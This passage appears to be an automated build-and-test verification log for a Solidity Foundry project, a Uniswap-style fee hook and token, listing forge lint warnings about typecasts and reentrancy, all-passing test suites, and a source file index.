truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:63\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:143:70\n    │\n143 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:176:9\n    │\n176 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:22\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:30\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:67\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:173:75\n    │\n173 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:182:13\n    │\n182 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:189:9\n    │\n189 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:22\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:30\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:67\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:185:75\n    │\n185 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:194:9\n    │\n194 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/SIMDTESTHook.sol:205:13\n    │\n205 │             poolManager.donate(poolKey(), pairedIs0 ? amount : 0, pairedIs0 ? 0 : amount, \"\");\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:225:40\n    │\n225 │             if (reason.length == 36 && bytes4(reason) == QuoteResult.selector) {\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'bytes4' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:32\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:239:60\n    │\n239 │             return value < 0 ? uint256(-(value + 1)) + 1 : uint256(value);\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[environment-read-across-mutation]: `block.timestamp` may be reused across `vm.warp`\n   ╭▸ test/AccountingInvariant.t.sol:52:17\n   │\n52 │         vm.warp(block.timestamp + bound(elapsed, 0, 7200));\n   │         ────────━━━━━━━━━━━━━━━─────────────────────────── `vm.warp` changes this environment here\n   │\n   ├ help: capture it with `vm.getBlockTimestamp()` instead\n   ╰ help: https://getfoundry.sh/forge/linting/environment-read-across-mutation\n\n","passed":true},{"durationMs":3353,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/MainnetFork.t.sol:MainnetForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 517.87µs (0.00ns CPU time)\n\nRan 4 tests for test/SIMDTEST.t.sol:SIMDTESTTest\n[PASS] testFuzz_FactoryAndPoolTransfersHaveNoTax(uint256) (runs: 1000, μ: 177649, ~: 177964)\n[PASS] test_FactoryReceivesWholeFixedSupply() (gas: 44091)\n[PASS] test_NoPostDeploymentMintOrAdminSelectors() (gas: 273327)\n[PASS] test_RejectOverspendAndMissingAllowance() (gas: 62008)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 20.30ms (20.55ms CPU time)\n\nRan 2 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookFreshManagerTest\n[PASS] test_EmptyPoolSwapDoesNotAccrueFees() (gas: 916056)\n[PASS] test_TokenOnlyLiquidityFirstBuyWithoutManagerIMD() (gas: 1024406)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 35.41ms (2.70ms CPU time)\n\nRan 2 tests for test/DonationRecipients.t.sol:DonationRecipientsTest\n[PASS] test_NewInRangePositionReceivesItsProportionalDonation() (gas: 1467149)\n[PASS] test_OnlyInRangePositionReceivesEntireDonation() (gas: 1521714)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 41.22ms (2.20ms CPU time)\n\nRan 1 test for test/SIMDTESTHook.t.sol:SIMDTESTHookReverseOrderTest\n[PASS] test_AllSwapModesWithPairAsCurrency1() (gas: 17290701)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 57.29ms (17.87ms CPU time)\n\nRan 8 tests for test/HookAdversarial.t.sol:HookAdversarialTest\n[PASS] test_ConstructorRejectsMissingCodeAndIdenticalCurrencies() (gas: 7565)\n[PASS] test_DonationFailureCanBeRetriedAfterLiquidityReturns() (gas: 1273178)\n[PASS] test_DonationRewardsOnlyInRangeLiquidityWithoutMintingAPosition() (gas: 1139968)\n[PASS] test_FailedInitializationCannotStartClockOrBindWrongPool() (gas: 89573549)\n[PASS] test_NoAdminFeeOrClaimApprovalEntrypoints() (gas: 815134)\n[PASS] test_OddDonationAndOneWeiDustDoNotConsumeAnEmptyBatch() (gas: 1241259)\n[PASS] test_SweepAndDonationEventsIdentifyCallerAndExactAmount() (gas: 753740)\n[PASS] test_ZeroSwapAndFailedInputSettlementPreserveAccruedFees() (gas: 1281046)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 134.31ms (96.23ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairFirstTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 558717, ~: 540320)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 599806, ~: 594930)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39298642)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 533.39ms (977.38ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair1Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 767634, ~: 764931)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18256951)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16799046)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 536.35ms (535.38ms CPU time)\n\nRan 3 tests for test/FeeBasis.t.sol:FeeBasisPair0Test\n[PASS] testFuzz_EquivalentTrades(bool,uint96,uint8) (runs: 1000, μ: 767772, ~: 765831)\n[PASS] test_EquivalentTradesAtEveryFeeRate() (gas: 18271687)\n[PASS] test_EquivalentTradesAtPriceLimit() (gas: 16801777)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 536.46ms (526.28ms CPU time)\n\nRan 3 tests for test/HookDifferential.t.sol:HookDifferentialPairSecondTest\n[PASS] testFuzz_PriceLimitedSwapCannotChargeForUnfilledInput(bool,bool,uint8) (runs: 1000, μ: 559370, ~: 541423)\n[PASS] testFuzz_RealCoreSwapIsExecutedExactlyOnce(bool,bool,uint96,uint8) (runs: 1000, μ: 599337, ~: 596583)\n[PASS] test_IntegerRoundingAtFeeThresholdsInEverySwapMode() (gas: 39305834)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 536.70ms (1.03s CPU time)\n\nRan 19 tests for test/SIMDTESTHook.t.sol:SIMDTESTHookTest\n[PASS] testFuzz_PartialFillLargeRequests(bool,bool,uint256,uint8) (runs: 1000, μ: 399068, ~: 378555)\n[PASS] testFuzz_SwapAccounting(bool,bool,uint96,uint8) (runs: 1000, μ: 428186, ~: 412685)\n[PASS] test_AllBlocksAndSwapModes() (gas: 17048945)\n[PASS] test_DonationTimingHalfAndLPEarnings() (gas: 1103046)\n[PASS] test_DonationWithoutLiquidityRollsBack() (gas: 785054)\n[PASS] test_EmptyDonationDoesNotConsumeTimer() (gas: 678235)\n[PASS] test_FailedSweepPreservesClaimsAndDoesNotBlockSwaps() (gas: 1150766)\n[PASS] test_InitializationValidatesBeforeBinding() (gas: 92202196)\n[PASS] test_Int256MinimumInputCanPartiallyFill() (gas: 386561)\n[PASS] test_InvalidPermissionAddressRefusesDeployment() (gas: 17873)\n[PASS] test_PermissionsAndInitialization() (gas: 25932)\n[PASS] test_QuoteRollsBackPriceAndFeeGrowth() (gas: 914003)\n[PASS] test_RejectOtherPoolsAndSecondInitialization() (gas: 112335)\n[PASS] test_RuntimeAndCreationSizesNoEscapeOpcodes() (gas: 2146867)\n[PASS] test_SweepPermissionlessAndSeparateFromDonation() (gas: 724724)\n[PASS] test_TinySwapsRoundDownAndSettle() (gas: 7416052)\n[PASS] test_UnauthorizedCallbacksAndQuote() (gas: 183694)\n[PASS] test_UnrepresentableExactOutputRevertsClearly() (gas: 152671)\n[PASS] test_UnsettledSwapRollsBackFees() (gas: 351978)\nSuite result: ok. 19 passed; 0 failed; 0 skipped; finished in 536.67ms (793.41ms CPU time)\n\nRan 2 tests for test/HookBatch.t.sol:HookBatchTest\n[PASS] testFuzz_NettingAcrossOneUnlockMatchesSeparateSwaps(uint96,uint8) (runs: 1000, μ: 2379909, ~: 2422237)\n[PASS] test_LaterSwapFailureRollsBackAllEarlierSwapsInUnlock() (gas: 1183654)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 536.87ms (492.80ms CPU time)\n\nRan 1 test for test/AccountingInvariant.t.sol:AccountingInvariantTest\n[PASS] invariant_AllFeesConservedAndAllDeltasSettled() (runs: 128, calls: 6144, reverts: 0)\n\n╭-------------------+----------+-------+---------+----------╮\n| Contract          | Selector | Calls | Reverts | Discards |\n+===========================================================+\n| AccountingHandler | donate   | 2063  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | sweep    | 2046  | 0       | 0        |\n|-------------------+----------+-------+---------+----------|\n| AccountingHandler | trade    | 2035  | 0       | 0        |\n╰-------------------+----------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.18s (1.12s CPU time)\n\nRan 2 tests for test/FeeLifecycleInvariant.t.sol:FeeLifecycleInvariantTest\n[PASS] invariant_FeesMatchIndependentModelAndAssetsAreConserved() (runs: 256, calls: 16384, reverts: 0)\n\n╭---------------------+---------------------+-------+---------+----------╮\n| Contract            | Selector            | Calls | Reverts | Discards |\n+========================================================================+\n| FeeLifecycleHandler | advance             | 2724  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | donate              | 2745  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | failedUnsettledSwap | 2764  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | sweep               | 2776  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | toggleLiquidity     | 2695  | 0       | 0        |\n|---------------------+---------------------+-------+---------+----------|\n| FeeLifecycleHandler | trade               | 2680  | 0       | 0        |\n╰---------------------+---------------------+-------+---------+----------╯\n\n[PASS] test_ExactOutputFeeModelUsesGrossIMDThroughSweepAndDonation() (gas: 1794441)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.23s (3.19s CPU time)\n\nRan 14 test suites in 3.23s (7.92s CPU time): 53 tests passed, 0 failed, 1 skipped (54 total tests)\n","passed":true},{"durationMs":78,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"SIMDTEST.approve(address,uint256)\",\"SIMDTEST.transfer(address,uint256)\",\"SIMDTEST.transferFrom(address,address,uint256)\",\"SIMDTESTHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"SIMDTESTHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"SIMDTESTHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"SIMDTESTHook.donateBatch()\",\"SIMDTESTHook.quotePairDelta((address,address,uint24,int24,address),(bool,int256,uint160))\",\"SIMDTESTHook.sweep()\",\"SIMDTESTHook.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"LICENSE\":23,\"README.md\":91,\"docs/DEPENDENCIES.md\":36,\"docs/SECURITY-REVIEW.md\":46,\"foundry.toml\":16,\"launch.json\":27,\"script/MineHook.sol\":24,\"src/HookFlags.sol\":30,\"src/SIMDTEST.sol\":11,\"src/SIMDTESTHook.sol\":252,\"test/AccountingInvariant.t.sol\":89,\"test/DonationRecipients.t.sol\":61,\"test/FeeBasis.t.sol\":92,\"test/FeeLifecycleInvariant.t.sol\":193,\"test/HookAdversarial.t.sol\":206,\"test/HookBatch.t.sol\":80,\"test/HookDifferential.t.sol\":143,\"test/MainnetFork.t.sol\":100,\"test/SIMDTEST.t.sol\":68,\"test/SIMDTESTHook.t.sol\":334,\"test/TESTING.md\":65,\"test/helpers/BatchSwapRouter.sol\":51,\"test/helpers/LaunchFixture.sol\":131,\"test/helpers/PoolRouter.sol\":56,\"test/mocks/MockERC20.sol\":9},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c55046e47f3c4277fdd7f5d3372118050960c903e0e18f78d4cdaa7dcc47ae4c","verifiedTreeHash":"ac67c98be99a7b509f5dc0e5a247d2a6e25530f8","verifierVersion":"0.1.0+ad90ce4c"},{"checks":[{"durationMs":2711,"exitCode":0,"name":"build","output":"Compiling 89 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.58s\nCompiler run successful!\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/SIMDTESTHook.sol:58:40\n   │\n58 │     constructor(IPoolManager manager_, address token_) {\n   │                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:240:9\n    │\n240 │         emit FeesAccrued(anti, growth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:131:22\n    │\n131 │         if (target > uint256(type(int256).max)) revert UnrepresentableFee();\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:44\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:134:61\n    │\n134 │             amountSpecified: exactInput ? -int256(target) : int256(target),\n    │                                                             ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:63\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:144:70\n    │\n144 │         return (IHooks.beforeSwap.selector, toBeforeSwapDelta(int128(int256(fee)), 0), 0);\n    │                                                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:44\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:155:51\n    │\n155 │         return (IHooks.afterSwap.selector, int128(int256(fee)));\n    │                                                   ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `operating` is updated\n    ╭▸ src/SIMDTESTHook.sol:184:9\n    │\n184 │         poolManager.unlock(abi.encode(donate, amount));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:166:9\n    │\n166 │         emit Swept(msg.sender, amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:22\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:30\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                              ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:67\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:163:75\n    │\n163 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                                                                           ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[block-timestamp]: usage of `block.timestamp` in a comparison may be manipulated by validators\n    ╭▸ src/SIMDTESTHook.sol:172:13\n    │\n172 │         if (block.timestamp - lastBatch < BATCH_INTERVAL) revert BatchTooSoon();\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/block-timestamp\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/SIMDTESTHook.sol:179:9\n    │\n179 │         emit Donated(msg.sender, amount, block.timestamp);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/SIMDTESTHook.sol:175:22\n    │\n175 │         if (amount > uint256(uint128(type(int128).max))) amount = uint256(uint128(type(int128).max));\n    │                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: 